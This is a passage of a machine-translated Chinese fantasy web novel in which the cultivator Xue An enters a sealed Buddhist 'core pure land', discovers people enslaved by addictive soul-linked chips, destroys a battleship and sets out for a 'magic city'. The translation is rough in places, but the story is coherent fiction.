    "Tsk tsk, being able to be named and killed by so many sects, this former Red Lotus Immortal Venerable can be regarded as unprecedented." Someone sneered.


    "The key is that both Xuanmingling and Renhuangdian are completely furious. The two Great Xinghai Great Masters joined forces, plus so many Void Great Masters. Now unless this Xue An can return to the position of Immortal Venerable, otherwise..." The person shook his head, the meaning behind it was already obvious.


    "Haha, what luck? No matter how powerful he is now, he is nothing more than an immortal king, but don''t forget that the Lord Xuanming Ling and Emperor Dongming are both strong immortal emperors. Under such a situation, what else can he have? "Some people disagree.


    This is all hostile to Xue An, or gloating.


    Of course, there are also many people who are kind to Xue An, or simply people who have followed Xue An, are extremely excited at this moment.


    "The adults are finally back. These idiots still want to fight the adults. Don''t they understand that the throne of the adults is made of blood?" On a planet, a shameless young man was very excited. Whispered.


    "In this battle, the lord has proved his strength with iron-like facts. This time, he will return the king and return to the top. All the ants who try to resist him will become the powder at his feet." In a hidden sect, a gray-haired old man reacted after learning the news.


    All in all, the heavens, as calm as a pool of stagnant water, almost turned the sky over because of this incident.


    But when the major sects expressed their opinions, only Qianheshan remained silent.


    Many people cast doubtful glances, wondering why this sect who also had a descendant was killed is so peaceful.


    But they didn''t know that at this time in Qianhe Mountain, the mountain owner Hua was speechless and talked closely with the high-level elders of Qianhe Mountain in a secret room.


    "What? Haven''t found any clues about him yet?" Hua said silently.


    An elder shook his head, "No clue!"


    "Strange, the curse in his body, it stands to reason that unless he is dead, it is impossible to disappear, why can''t it be found?" Another elder questioned.


    "Could it be... he noticed it and then untied it?"


    As soon as this statement came out, Hua Wuyu and several elders shouted in unison: "Impossible!"


    "The curse cast by Nianzhi is the immortal law left by that adult, even if he is the Immortal Venerable, it is impossible to untie it!"


    "Then how can it disappear?"


    Everyone was in doubt.


    "Is he already leaving the heavens and going to an unknown place?" the famous elder said suddenly.


    As soon as this statement came out, the audience was silent.


    After a long time, the flower stood up speechlessly and said coldly: "No matter where he goes, he has to pay for this matter. Send me Huajian Order and hunt down Xue An!"


    "Yes!"


    This time the entire heavens became more and more shocked.


    The news of such a sensation naturally spread to the territory of the monster race.


    Qingqiu Fox Country.


    When Hu Ye heard the news, he couldn''t help but get up, and then said with a shocked face: "Fuck, Old Xue, what are you doing? Are you planning to overthrow the heavens alone?"


    A Rou was also worried on the side, "Now that the heavens are in a mess, will Master Xue be in danger?"


    Hu Ye shook his head and chuckled, "Don''t worry, since Lao Xue has done this, it means that he must be fully prepared and don''t worry too much about him."


    After talking, Hu Ye sighed lightly: "Old Xue, I really didn''t expect that after you were reborn, you would be so crazy about doing things, and you would have killed most of the sect Tianjiao of the heavens. You can do nothing. , The first shot is Wang Fried!"


    But when the entire sky was turned upside down, Xue An, the initiator, didn''t even have a trace of information, as if... completely disappeared.

 Chapter 1930： Chu Jialuo, Rim Mountain!

    Xingzhou began to slow down gradually, and an iron fence could be seen through the porthole.


    That''s right!


    It is an iron wall in the literal sense.


    This wall exudes an icy metallic luster, standing in the void, looking upwards without knowing its height, looking sideways without knowing its distance, so silently blocking Xingzhou''s path.


    Even Mu Wushuang, who had been to many headquarters of Xinghai University and had seen countless magnificent sights, couldn''t help being shocked after seeing this scene.


    Then she thought of a legend, and couldn''t help whispering softly: "This...this is Nagala..."


    Monk Yuantong smiled, "Good, good, that''s right! In front of it is the boundary point of the Buddha Kingdom and the heavens, Jialuo, also known as...Rangwang Mountain!"


    Lunwang Mountain, the outline of the Pure Land of the Buddha Kingdom, is a miraculous building that amazes all the heavens.


    At the same time, Monk Yuantong folded his palms together and exclaimed with joy: "Next... welcome everyone to Dingchan Temple."


    When the words fell, a blue lotus suddenly appeared in the void in front of the star boat, and then slowly bloomed.


    Immediately after that, a suction force came, and it flew into the lotus with the starship, and disappeared.


    When the lotus flower dissipated, the void became empty again. Only this Chogala still stood silently there, like a giant who was tired of the world, and refused to say a word.


    At the same time, after a brief shock, Xingzhou finally calmed down.


    Then what appeared in front of everyone was a towering mountain.


    This high mountain stands in a vast expanse of water, this piece of water is extremely clear, reflecting the shadow of the sky, giving a feeling of extreme emptiness.


    And this mountain is the only life in this whole lonely world.


    Because starting along the foot of this high mountain, all the way up, there are many cities, towns and villages, and the sound of words and laughter can be heard faintly from it.


    Everyone was a little startled.


    No one thought that the legendary Buddhist Pure Land would look like this.


    Only Xue An smiled slightly, and a glimmer of unknown brilliance flashed in his eyes.


    at the same time.


    Only a sound of compassion came from the top of the mountain.


    "Nanwuwu Buddha, Dingchan Temple, welcome all the donors here!"


    With the voice, but seeing the golden lotus blooming, the whole mountain was instantly shrouded in golden light.


    The people living in it all knelt down on the ground with a pious face, praying towards the sky.


    Yuantong smiled slightly, "Good, good, all my brothers and sisters are here to welcome you, please come with me!"


    After that, he took a step and walked out of the Xingzhou, and Xue An followed.


    As soon as they left the Xingzhou, several figures had already come close.


    These people are different in height, short, fat, and thin, but without exception, they are all monks in monk clothes.


    After seeing them, Yuantong couldn''t help but folded his palms together, and the inspector asked, "Good, good, good, I have met Senior Brother Zhongtong, Senior Brother Shentong, and..."


    "Okay!" One of the monks with a handsome face but with a murderous look at the corners of his eyes and eyebrows waved his hand impatiently.


    "Junior brother, you have not changed at all after you went out. You are still so pedantic. No wonder you call you Shanzai monk! When I hear you say Shanzai, my head hurts."


    It was Zhongtong, the big brother of Dingchan Temple.


    As soon as he said this, the monks standing behind him and this Huitong couldn''t help laughing.


    Monk Yuantong was not angry either, just smiled honestly, and then stepped aside.


    At this time, the Zhongtong monk stepped forward, his sharp gaze swept across everyone, and finally his gaze stayed on Xue An, as if he was examining something.


    But soon he lowered his eyes, folded his palms, and said in a majestic tone: "Master is waiting at the door. Please come with me."


    After that, he turned around, stepped on the golden lotus, and strode away.


    In the action, there was a hint of demonstration.


    Xue An just smiled slightly at this, and then followed, walking slowly to the top of the mountain.


    On the top of the mountain, there is a huge cyan lotus, and in the heart of the lotus is a temple with golden light.


    The scale of this temple is not too big, but it possesses the supreme majesty of heartbreaking.


    A white-browed monk sits in front of the temple with his eyes lowered, as if he had entered meditation.


    After seeing this monk, all monks including Yuantong joined together, "Master!"


    The white-browed monk slowly raised his head and opened his eyes suddenly.


    This is a pair of extremely clean and clear eyes, just like pure and flawless colored glaze, containing supreme compassion.


    His gaze swept across Mu Wushuang and others, and finally stayed on Xue An, and then he showed a smile.


    "Guren-sama, long time no see!"


    Xue An also smiled, and then bowed his hand, "Master Yue Ji, long time no see!"


    That''s right.


    This old white-browed monk is the presiding abbot of Dingchan Temple, the immovable great bodhisattva.


    Yue Ji whispered: "Zhongtong."


    "The disciple is here!"


    "You lead these donors down to rest."


    "Yes!"


    Zhongtong glanced at Xue An silently, and then said to Mu Wushuang, Gong Yunjun and others: "Several female donors, please come with me!"


    Gong Yunjun wanted to talk, but seeing Xue An''s expression, she couldn''t help closing her mouth, and then left with Zhongtong and others.


    After everyone left, Xue An looked at Yue Ji on the opposite side, raised his eyebrows slightly, and said with interest: "You seem to know that I will come?"


    Yue Ji smiled slightly, "That''s right! As long as Master Honglian wants to find out the truth of everything, he will definitely come to the pure land of my Buddhist kingdom."


    "So, what should you know?" Xue An said lightly.


    Yue Ji shook her head slightly, and answered honestly: "I don''t know."


    Xue looked at him quietly before saying, "Are you kidding me?"


    "Of course not! And on the contrary..." Yue Ji looked at Xue An with a sincere expression, "I am waiting here. There is one thing I need to ask you."


    "One thing needs to ask me?"


    "Yes!" Yue Ji''s expression became solemn, "A major event that concerns the survival and death of the Pure Land of the Buddha Kingdom!"


    With that, he waved his sleeves, and the surrounding environment instantly turned into a boundless void.


    Xue An was unmoved by this, but said indifferently: "Oh? What is the big deal, the big Bodhisattva who needs to stay still asks me?"


    Yue Ji smiled bitterly, and then said astonishingly: "Master Honglian knows, I have not been able to enter the core of the Pure Land for a long time!"


    Xue An was startled slightly, "What do you mean?"


    "It means... we have lost contact with the core pure land, and are blocked by an invisible barrier, we can''t enter at all!" Yue Ji said solemnly.

 Chapter 1931： Core pure land

    At this time, even Xue An couldn''t help showing a look of consternation.


    "How could this be? Your leader, the master of this pure land of Buddha country?"


    Yue Ji smiled bitterly, "This is the problem, because I...have not been able to contact the Buddha for a long time!"


    As soon as this statement came out, Xue An''s expression also became serious.


    You must know that the Lord of the Buddha cultivation, the Lord of Pure Land, is beyond the land of good wisdom and is infinitely close to the existence of the highest level of Dharma Cloud Land.


    That is, the peak of the Immortal Emperor, a super powerhouse who only stepped into the realm of Immortal Venerable within a short distance.


    At the beginning, Xue An had a relationship with this Buddha, but he never expected that now even the Buddha Xiu could not contact him, and even the core pure land has lost contact.


    How can this not be shocking.


    At this time, Yue Jing continued: "My Dingchan Temple is the Shoushan Temple that guards Chujialuo. I used to have close contacts with the core pure land, but since five hundred years ago, everything has changed."


    "First, the connection with the Buddha was cut off, and then even the road to the core pure land was cut off by an invisible force. I tried countless methods, but I couldn��t get rid of this force. I don��t know what happened to the core pure land."


    Speaking of this, Yue Ji took a deep look at Xue An, "But in the dark, I have a hunch that this whole thing will be solved on your body."


    After all, Yue Ji stared at Xue An with piercing eyes, waiting for his answer.


    Xue An chuckled softly, "You have so much confidence in me?"


    "Of course, because if even Guren-sama can''t solve this mystery, then the heavens will be even more unsolvable."


    Xue An was silent for a moment, and then suddenly asked: "Where is the moon brake, do you know?"


    Yue Ji was stunned, and then shook his head with a wry smile: "I have been looking for my junior, but there has been no news."


    "Then what did he do, do you know?"


    Yue Jing sighed softly, "I''ve been keeping this secret. No one has ever said it to anyone. Since Master Gulian asked about it today, then I will tell you!"


    As he said, Yue Ji slowly spread out her thin palm, and there was a rosary in her palm.


    The rosary rose slowly, suddenly turned into a streamer, and flew in front of Xue An.


    Xue An didn''t even blink his eyelids, just watched quietly.


    Then the information contained in this rosary poured into Xue An''s sea of ??knowledge.


    Xue An was slightly startled, and then a strange expression appeared on his face.


    Yue Ji laughed bitterly, "Does it feel ridiculous?"


    Xue An nodded, "It''s a bit weird."


    Yue Ji sighed softly, "The dignified Golden Bodhisattva, but for a little obsession in the fixed state, ran to find his lover in the previous life. Isn''t this absurd?"


    That''s right.


    This rosary was left by Yuesha before it disappeared, and the information recorded on it was also very simple, with only a very simple sentence.


    It turns out that after the moon has been immovable, he can break away from the mystery of seclusion, and he can investigate his past life cause and effect in the fixed state.


    Then he saw his lover from the previous life in it. This was originally a normal thing, and this little cause and effect couldn''t shake a big bodhisattva who did not move.


    But what is unexpected is that this moon moment was moved by this, and even left Dingchan Temple desperately to find the reincarnation of his lover in the previous life.


    This is crazy and unreasonable than finding a needle in a haystack.


    That''s why Yue Ji would use the absurd word to evaluate her junior.


    But Xue An didn''t mean the slightest sarcasm. He was silent for a moment, and then said lightly: "Maybe he has his own plan, maybe he will suddenly have an epiphany in the process of searching."


    "I hope so!" Yue Jing sighed, then looked at Xue An quietly, "Master Honglian, would you like to help me find out about the core pure land?"


    Xue An smiled faintly, "Of course, because I was going to the core pure land to ask the Buddha about something."


    Yue Ji put her palms together, and exclaimed with joy: "Good and good, thank you Lord Honglian for your help, I am indebted to Dingchan Temple."


    "Don''t be too busy to thank you. It''s unpredictable to go to the core pure land. Naturally, I can''t take others with you, so you have to make proper arrangements for the few people I brought!"


    "Gu Lian-sama, please rest assured, I will put those female donors properly, but are you sure you don''t allow the donors who live in your sea of ??knowledge to stay?"


    Xue An was not surprised that Yue Jing could see through An Yan and others in Fubao''s Xiaolou, he just shook his head.


    "No, in that case, it should not be too late. I will leave for the core pure land now, and I will leave it to you!"


    Having said that, Xue An did not delay even a second, and stood up directly.


    Yue Jing couldn''t help but nodded, "Well, then I will send Master Honglian over first!"


    After that, Yue Jing stretched out her dry finger and stroked in front of her.


    A gate of time and space emerged instantly.


    Xue An smiled and stepped into it.


    When a brilliance flashed, there was nothing in front of him.


    Moon Ji put her palms together, "Good and good, I hope Master Gulian goes all the way here."


    At the same time, Xue An only felt dizziness for a moment, and then an invisible barrier appeared in the void passage in front of him.


    This barrier is invisible and innocent, but it is extremely hard. Even the void channel is cut off. It is impossible to reveal a trace of information. It is no wonder that Dingchan Temple will lose contact with the core pure land.


    Xue An''s eyebrows gradually rose, and an inexplicable chill appeared in his eyes.


    Because he felt a familiar breath from above this barrier.


    Then he took a deep breath and slowly raised his hand to press on this barrier.


    "open!"


    Xue An suddenly yelled, and a majestic force rushed out, directly smashing the barrier in front of him.


    call!


    The violent turbulent time and space roared in, strangling everything they encountered.


    But these turbulence in time and space did not even move the corners of Xue An''s clothes.


    Xue Anmai took a step forward and then disappeared into the turbulent flow.


    At the same time, in a hidden and indescribable place somewhere.


    A faint demon breath suddenly rolled, and then there was a cry of extreme coldness.


    "Someone broke in, kill!"


    This time crossing obviously took a long time. After the turbulence had completely dissipated, Xue An slowly opened his eyes.


    The first thing that came into view was an extremely barren desert.


    But this is not the main thing. When Xue An raised his head, there was a huge Buddha statue in the huge sky.


    This Buddha statue occupies a full one-third of the sky, with supreme majesty and compassion in its drooping eyes.


    At the same time, you can also see obvious traces of artificial carving from this Buddha statue.


    That''s right!


    This miraculous Buddha statue is actually an artificial creation.

 Chapter 1932： Optimus Pillar, suppress all evil

    In addition, white clouds are floating in the sky.


    Above the white clouds, there are magnificent temples.


    These temples did not see anyone coming and going, but there was a faint sound of grand chanting, which made the whole sky bathed in a sacred and solemn atmosphere, which was amazing.


    But Xue An''s attention was not on these temples, but was attracted by the extremely distant horizon.


    At the place where it met the ground that day, a huge iron pillar pierced straight into the sky stood upright.


    This iron pillar is like an Optimus Prime extending from the earth to the sky, standing alone in the desert.


    Even so far away, you can still see dense golden scriptures carved on the iron pillars.


    The whole world is quiet and terrible, and you can even hear the sound of the wind blowing the sand.


    Xue An''s face gradually became serious.


    Because he faintly felt that a majestic evil force was gathering underground, and then he was suppressed by that iron pillar.


    But with the passage of time, the light in the sky is gradually weakening, and the evil forces underground are becoming stronger.


    At this moment.


    Suddenly there was a loud rumbling noise from the sky, and then I saw this huge Buddha statue floating in outer space facing the earth slowly turning its body.


    In an instant, the Buddha statue turned around, with its back facing the earth.


    At this moment, the sky was completely dark.


    This iron pillar began to tremble crazily, which was a sign that the underground dark power could no longer be suppressed.


    boom!


    Finally, huge gaps were opened on the ground, as if the terrifying mouths were smiling evilly towards the sky.


    Immediately afterwards, a strong and extremely dark air diffused out from the gap, and then saw an evil creature that only described terrible rushing out like a colony of ants.


    The moment they climbed out of the ground, the Tie Zhu suddenly trembled, and the golden scriptures on it were flourishing, and then they turned into huge mountain scriptures and hit these evil creatures.


    Boom boom boom!


    Where the golden light passed, the evil creatures that had just climbed onto the ground instantly turned into fly ash.


    But the evil creatures in the underground seemed to be endless, still pouring out crazy.


    Gradually, the golden light on the iron pillar began to thin, and the tremor became larger and larger, which was obviously unable to hold it.


    Xue An stood high in the sky, quietly watching what was happening above the ground, and then just wanted to take action.


    At this moment, the sound of chanting from among the many temples floating in the sky suddenly increased.


    Then I saw a golden light flying out of one of the temples, flying straight to the iron pillar.


    Although darkness enveloped the earth, under Xue An''s divine knowledge, everything was still invisible.


    He saw a futon placed on the top of the iron pillar. After the golden light flashed, a lean monk, but with a golden wheel looming behind his head, appeared on the futon.


    I saw the monk sitting down, with a compassionate face, and began to chant the scriptures loudly.


    Every passage of scripture will turn into a boundless rain of flowers and fall.


    But these seemingly weak flower rains have extremely strong lethality to these evil creatures, and they will turn into flying ashes when they touch them.


    But the number of these evil creatures that couldn''t stand it was too much, and the densely gushing out from the cracks, like the black spring water gurgling out, could no longer distinguish the individual.


    Even the rain of flowers transformed by these scriptures cannot stop the invasion of these evil creatures.


    I saw that many evil creatures had already climbed onto this iron pillar. Although the scriptures on it kept shattering these evil creatures, they were still allowed to climb higher and higher as they went forward and succeeded.


    The monk''s chanting speed began to speed up, and then he saw that the futon sitting under him suddenly grew sharp vines, directly piercing the monk''s body.


    Then he began to frantically draw blood from the monk''s body, following the translucent vine tube, it can be seen that the blood is actually golden.


    The monk paled and slowly closed his eyes, but the speed of chanting did not change the slightest.


    at the same time.


    After absorbing the blood of this monk, the golden scripture on the iron pillar suddenly exploded, directly shaking all the evil creatures clinging to it into dust.


    And under the blessing of mana, this iron pillar began to become stable, the cracks on the ground were much smaller, and the number of evil creatures began to decline.


    Seeing this scene, even Xue An couldn''t help but shake.


    Because he could clearly feel that the vitality of this monk was going crazy.


    This is completely suppressing these evil creatures at the cost of their own lives.


    Xue An sighed lightly, then walked out of the darkness, raising his hand and cutting out with a sword.


    boom!


    This sword swept across the entire battlefield like mercury, and wherever it passed, these evil creatures didn''t even hum, they were directly cut into powder.


    When this sword passed, the evil creatures present had disappeared, and only the cracks in the black holes above the earth were left.


    But just a moment later, these evil creatures that had been cut into powder reappeared in front of them.


    Xue An raised his eyebrows slightly, and a look of surprise appeared in his eyes.


    How is this going?


    At this moment, only a gentle and generous voice sounded in Xue An''s sea of ??consciousness.


    "It''s useless for a strong sword repairer. These evil creatures are born of the evil aura of heaven and earth. Unless they are purified by the Dharma, other means can''t eliminate them at all."


    Xue An raised his head and looked at the monk on the iron pillar in the distance.


    At this moment, his eyebrows are drooping, he is sitting staggeringly, his whole body is shining with golden light, in the darkness like a flaming torch, it is shocking.


    When Xue An looked at him, the monk slowly raised his head and looked at Xue An, Baoxiang''s solemn face showed a faint smile.


    "Unexpectedly, some powerful foreigners have entered this place It seems that there is finally hope for this pure land!"


    With the voice, the sky suddenly appeared white in the distance, and then the light began to spread rapidly.


    In the blink of an eye, light appeared in most of the sky, and the Buddha statue, which originally had its back to the earth, slowly turned here.


    These evil creatures screamed, Qi Qi disappeared, and the cracks in the earth began to heal quickly, and in the blink of an eye they recovered as before, as if nothing had happened.


    But just as everything around him changed rapidly, the monk on the futon was also rapidly withering.


    That''s right!


    Just wither.


    I saw that his already thin figure was becoming thinner at a speed visible to the naked eye, and his face was aging a little bit.


    quickly.


    He became like a withered skeleton, which was shocking.

 Chapter 1933： Infinite Hell

    Even so, the monk''s eyes were still bright as before, and then he folded his palms together and chanted in a voice without sorrow or joy: "Nan Wuyou Buddha, may my world be free from suffering and joy!"


    Words fall.


    There was a relief-like smile on his face, and he nodded slightly at Xue An, and then his figure broke apart and turned into golden light in the sky, blending into the iron pillar under the seat.


    Xue looked at him quietly, then bowed his hand.


    No matter when and where, people who can give everything for the faith in their hearts, and even their own lives, are worthy of respect.


    Everything was calm again.


    Xue An did not go to these temples in the sky. On the contrary, he straightened up and flew towards the distant sky.


    This desert is so vast, even at Xue An''s speed, it took a full quarter of an hour to fly before seeing a little different scenery.


    Suddenly!


    A small town suddenly appeared in the distance.


    Xue An slowed down, fell on the ground, and then walked slowly into this small town.


    This is a very dilapidated town, and the gutter beside the street exudes a strong stench.


    The houses on both sides of the road are crooked, seeming to collapse at any time.


    But even in this environment, many people live.


    These people lay lazily on the ground, and even if Xue An walked into it, they just gave these people a glance, and then resumed their previous posture.


    At the same time, there are many people wearing a weird helmet, lying motionless on the ground, like a dead body.


    Xue An raised his eyebrows slightly.


    Because he couldn''t feel the slightest anger from these people, it was like a walking dead.


    Xue An was shocked by this strange phenomenon, and he walked slowly towards the center of the town.


    Here, is the only bar in the town.


    In front of the door stood a few fierce and strong men. They were also the most energetic creatures Xue An had ever seen.


    After seeing Xue An, these brawny men were not surprised. Instead, they rolled their strange eyes and said lightly: "Did you come here to buy the chips?"


    chip?


    This term moved Xue An''s heart slightly, but Xuan even nodded.


    "Yes!"


    "go in!"


    Xue An stepped into this bar.


    Unexpectedly, this bar did not have the feasting fanciers imagined.


    On the contrary, it is still very quiet here.


    Many people are lying on the sofa, wearing new or old helmets on their heads, and sleeping with their eyes closed.


    From time to time, these people will show an extremely refreshing look.


    When Xue An walked in, a strong man stepped forward, "What kind of chip do I need?"


    Xue An casually pointed, "That''s it!"


    The strong man nodded, turned and left. When he came back, he had an extra helmet in his hand and handed it to Xue An.


    "You can try first."


    Xue An didn''t hesitate and put it on his head.


    In an instant, he felt that his sea of ??consciousness had entered a very strange world.


    Then he felt a sense of extreme comfort in the soul level.


    It is a tranquility that is difficult to express in words.


    If it hadn''t been for Xue An''s strong heart, he might have fallen into it in an instant.


    It wasn''t until this time that Xue An understood what so many helmeted people in the town were doing.


    Because this is like a mental tooth piece, enough to make anyone fall into it.


    When Xue An took off his helmet, the brawny man bared his teeth and said, "How about it, isn''t it strong enough?"


    Xue An was silent for a moment, "It''s really good, but how is it done?"


    "Hehe, you are asking the right person. You must know that within a radius of thousands of miles, the chip here is the most powerful. As for why..."


    The brawny man happily clapped his hands.


    In an instant, in the center of the bar appeared a monk sitting stumblingly, closing his eyes and being bound by heavy chains.


    But I saw countless silk threads connected to this monk''s body, and they went on and off with the rise and fall of the golden light on his body.


    "Have you seen? My chips have been blessed by these monks. They have supreme joy and tranquility. They are not comparable to those outside that are purely stimulated by electric current."


    "How is it, how much do you need to buy?" the strong man asked with a smile.


    Xue An took a deep look at him and did not speak.


    After a while.


    When Xue An walked out of this bar, there was no sound behind him.


    The man guarding the door saw Xue An leaving and couldn''t help standing up, "Are you satisfied?"


    Xue An smiled slightly, "Satisfied, I am very satisfied!"


    Words fall.


    The heads of these big guys flew into the dust at the same time, and then the headless dead bodies fell to the ground.


    Xue An''s face became more and more serious.


    Because he finally deeply realized the changes in this core pure land.


    Thousands of years ago, when he was the Immortal Venerable, he had been to this core pure land.


    At that time, the core pure land was a prosperous scene, and everyone concentrated on doing good, peaceful and happy, without any intrigue.


    But I never expected that this core pure land would undergo a tremendous change in just a thousand years.


    Even this human heart has fallen like this, especially the electronic products Xue An has just experienced can easily destroy any strong below the big Luo, make it sink into it, and become a complete waste.


    Combine the core pure land being blocked, and the evil creatures spewing from the ground during that night.


    Xue An was convinced that this core pure land had obviously been contaminated by some unknown force.


    At this moment, a frightened young boy called out suddenly not far away.


    Xue An looked up, but saw an unkempt teenager looking at the dead body on the ground in horror.


    Xue An was slightly startled, because he felt the long-lost anger from this young man.


    It can even be said that this young man is the first living person Xue An has seen since entering the core pure land.


    Xue An stepped towards him, but the young man turned around and ran out like a snake and scorpion.


    Xue An followed.


    The town is not big, so the two of them quickly left the town.


    Outside this town, there is a cemetery These tombs are not big, some of them have already appeared inside because of disrepair.


    There are no corpses in these tombs, but small boxes.


    Xue An''s eyes narrowed slightly, because he felt the existence of vague consciousness in these small boxes.


    But these consciousnesses are without exception. They are all obsessed with electronic products and can no longer extricate themselves.


    Combined with this endless cemetery, Xue An suddenly got a little creepy.


    Because a word emerged in his mind.


    Infinite hell!


    These consciousnesses stored in the small box after death will forever be addicted to the stimulation created by the electric current, and will not get any salvation until the day when their consciousness completely collapses.


    The so-called no time, no time, no time for the recipient, it is Abi hell!


    This kind of retribution is simply more terrifying than suffering in life.

 Chapter 1934： Chip infection

    At this moment, the young man was hiding in a pit that had been in disrepair. The surface was covered with mud and he tried his best to make no noise.


    The sound of footsteps gradually walked in, a look of horror appeared on the boy''s face, and then he took a deep breath and held his breath.


    Suddenly!


    The sound of footsteps stopped in front of this pit, and the boy''s back instantly oozes cold sweat from fear.


    At this moment, only a faint voice came.


    "You run when you see me, what are you afraid of?"


    It was Xue An who was talking, and saw him standing in front of this pit, his face full of playfulness.


    The boy was shocked, knowing that he could no longer pretend, he had to slowly crawl out of the pit, his body covered with mud trembling constantly.


    "Don''t want to talk about it?"


    The boy shook his whole body, then slowly raised his head, and said in a dumb and dry voice: "I...I don''t want to install the chip!"


    "Chip?" Xue An was startled slightly, and immediately remembered the people who had just been wiped out at the bar. There was a small chip installed on his spine.


    The teenager nodded tremblingly, choked and said, "I don''t want to be a slave to the chip, because my parents died under the chip. Before they died, they told me to stay away from these things."


    "How many people install this chip?"


    "Many, people in the entire town are basically infected!"


    Teenagers use the word infection.


    Xue An finally understood why he could feel the long-lost anger in this young man.


    It turned out that since I came into this world, except for the martyred monk, everyone I saw was basically equipped with chips.


    In the words of this boy, he became a slave to the chip.


    Because this chip is like the tentacles of the devil, first enjoy the supreme spirit to defeat all your defenses, and then make you addicted to it, and can no longer extricate yourself.


    Xue An remained silent and fell into contemplation.


    The young man looked at Xue An carefully, and his heart was filled with great doubts.


    He really didn''t know the identity of the boy in white.


    At first, he thought Xue An was the chip infection agent, so he fled, but now it does not seem to be.


    Because if he was a chip infection agent, how could he ask the naive questions just now!


    Who is he then?


    Why is there no chip installed, and the momentum on the body is still so strong?


    Could it be... he is from the magic city?


    The thought made the young man startled, and the look in Xue An''s eyes became awed.


    At this moment, Xue An came back to his senses, smiled faintly at the young man, and then asked: "Where did this chip come from, and who installed it for you?"


    The teenager just wanted to talk, suddenly.


    A loud boom came from the sky.


    Xue An raised his eyes and saw a huge battleship flying here at a rapid speed, and it came to this cemetery in the blink of an eye.


    As soon as the young man saw the battleship, his face turned pale, and he rolled back into the pit, then curled up in the corner, shivering.


    at the same time.


    The hatch under the battleship slowly opened, and then countless black boxes were pouring down, and soon a hill was piled up below.


    Xue An''s eyes narrowed slightly.


    Because these were dumped at random as trash, they were the consciousness wrecks that can be seen everywhere in the graveyard.


    At this point, Xue An finally understood how this huge cemetery came.


    To put it bluntly, what kind of cemetery is this, it is clearly a landfill.


    Xue An''s complexion finally changed.


    Because these seemingly inconspicuous little boxes, behind them represent a living life.


    Xue An has seen many demons who regard human life as a must, but he has never been so angry.


    Because this kind of behavior is entirely to treat the soul and will of the person as a toy for wanton play.


    But when Xue An was angry, the battleship also found him.


    The battleship turned slowly, and suddenly two black blastholes protruded.


    Immediately after the blasthole began to sparkle with brilliance.


    In an instant, a majestic coercion was formed, and then two condensed brilliances blasted towards Xue An.


    Wherever he went, the air was plowed into a deep chasm.


    Vaguely, someone could still hear a smug sneer.


    The teenager hiding in the pit screamed desperately.


    Because no one can survive such an attack.


    Not only himself, but most of the cemetery will be turned into ashes.


    But at this moment, the two brilliances that had rushed forward suddenly stopped in midair.


    It wasn''t until then that it was possible to see clearly that these two radiances were actually two delicate small shells.


    But just such two almost cute shells are engraved with dangerous patterns.


    Especially the head of the artillery shell was shining with dangerous brilliance, as if it would explode at any time.


    But now, these two dangerous shells were quietly stopped in the air, and they didn''t even get in.


    Because the two jade-white palms were holding the shells of two shells, and they looked at them with a playful look.


    The boy''s mouth gradually opened wide, looking at Xue An with horror on his face.


    In this battleship, there was a faint scream from a person, and then he turned around frantically and fled away.


    But how could Xue An let him go far.


    But seeing Xue An stepping out, the whole person flew from the spot to the air instantly, blocking the way of the battleship.


    At this time Xue An could already see the situation inside through the porthole in front of the battleship.


    Inside was a small cab, and a fat and ugly man was sitting in the driving seat, looking at himself in horror.


    After feeling the breath of this man, Xue An couldn''t help showing a sneer on his face.


    "What? Do you want to leave after hitting me?"


    "Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!


    Bang bang bang!


    There was a intensive loud noise A long tongue of flame emerged from the front of the battleship, and countless small artillery shells blasted towards Xue An like a rain curtain.


    Xue An didn''t even blink his eyelids, but said indifferently: "This is yours, now I will give it back to you!"


    With that, Xue An used his wrist to throw out the two shells he had been holding.


    boom! boom!


    After two loud bangs, the sky was filled with flames.


    But after a while, the battleship rushed out of it with scars, and fled into the distance.


    But before it flew far, a white figure appeared beside the battleship, and then blasted out with a punch.


    Boom!


    The warship that had not disintegrated even after experiencing such a violent explosion burst into pieces.


    The fat man inside fell crazily and screamed.

 Chapter 1935： Magic city

    Suddenly, the screams stopped abruptly, because Xue An had choked his neck at some point.


    The fat man''s eyes were full of panic and begging.


    Xue An didn''t even have the interest to talk to him. His eyes flashed, and the majestic spirit rushed out, instantly destroying all his spiritual defenses and invading his sea of ??knowledge.


    After a while, Xue An looked ugly and let go.


    Unable to withstand the coercion of the great divine mind, the fat driver who had died in desperation fell straight down and fell to pieces.


    Xue An stood in the air and thought for a long time before falling back to the ground.


    At this time, the young man still did not wake up from the shock.


    It wasn''t until Xue An came to him that he trembled all over, and then looked up at Xue An in horror.


    To him, the battleship just now was almost equivalent to the most terrifying existence in the entire world.


    Because he had seen with his own eyes how flattering the big people in the small town "have a head and a face" when they saw this battleship.


    But I never expected that this kind of existence was easily torn to pieces by this young white boy.


    At this moment, Xue An said calmly: "You now have two choices. One is to stay here, because the evil people in the town have been killed by me, you should be able to live well!"


    "The second is to go to the magic city with me, find out the culprits who use chips to control and enslave others, and then avenge your parents!"


    When the words were over, Xue looked at the teenager quietly, "Now tell me, what is your choice!"


    A confused look appeared in the boy''s eyes, and he lowered his head to meditate.


    Xue An didn''t urge, but waited quietly.


    But unexpectedly, he didn''t wait long, and the young man raised his head and said firmly, "I choose the second one!"


    Xue An seemed to have anticipated this answer, smiled slightly, and nodded, "Okay!"


    The boy stood up, knelt down at this huge cemetery and banged his head three times, then wiped the dust off his face vigorously, revealing an ordinary and ordinary boy face.


    "Father and mother, I am going to avenge you!"


    The boy''s eyes flashed with hatred, and he spoke very firmly.


    "Let''s go!" Until the young man had done everything, Xue An only faintly shouted, then flew up and led the young man to disappear instantly.


    Magic city.


    As the name suggests, it is a place where demons dance.


    According to the memory of the pilot of the warship, Xue An led the young man all the way west.


    Even at Xue An''s speed, it took a full meal, only to see a city in the distance.


    After rushing forward for a while, the city was clearly presented before him.


    If he were not in the pure land of the Buddha country, Xue An would even think that this is a big city on earth.


    Because the same tall buildings are everywhere, the same feasting.


    Even on top of the skyscrapers, there are many huge screens, which are playing many glamorous and corrupt pictures.


    This kind of picture formed a very strong contrast with the huge Buddha statues and temples above the sky, and it even made people feel a sense of absurdity.


    Some people sacrifice their lives in order to save the common people, but the common people he saves are immersed in illusory happiness and can hardly extricate themselves.


    This is simply a great irony.


    Xue An looked at it silently for a moment, then stepped into the city.


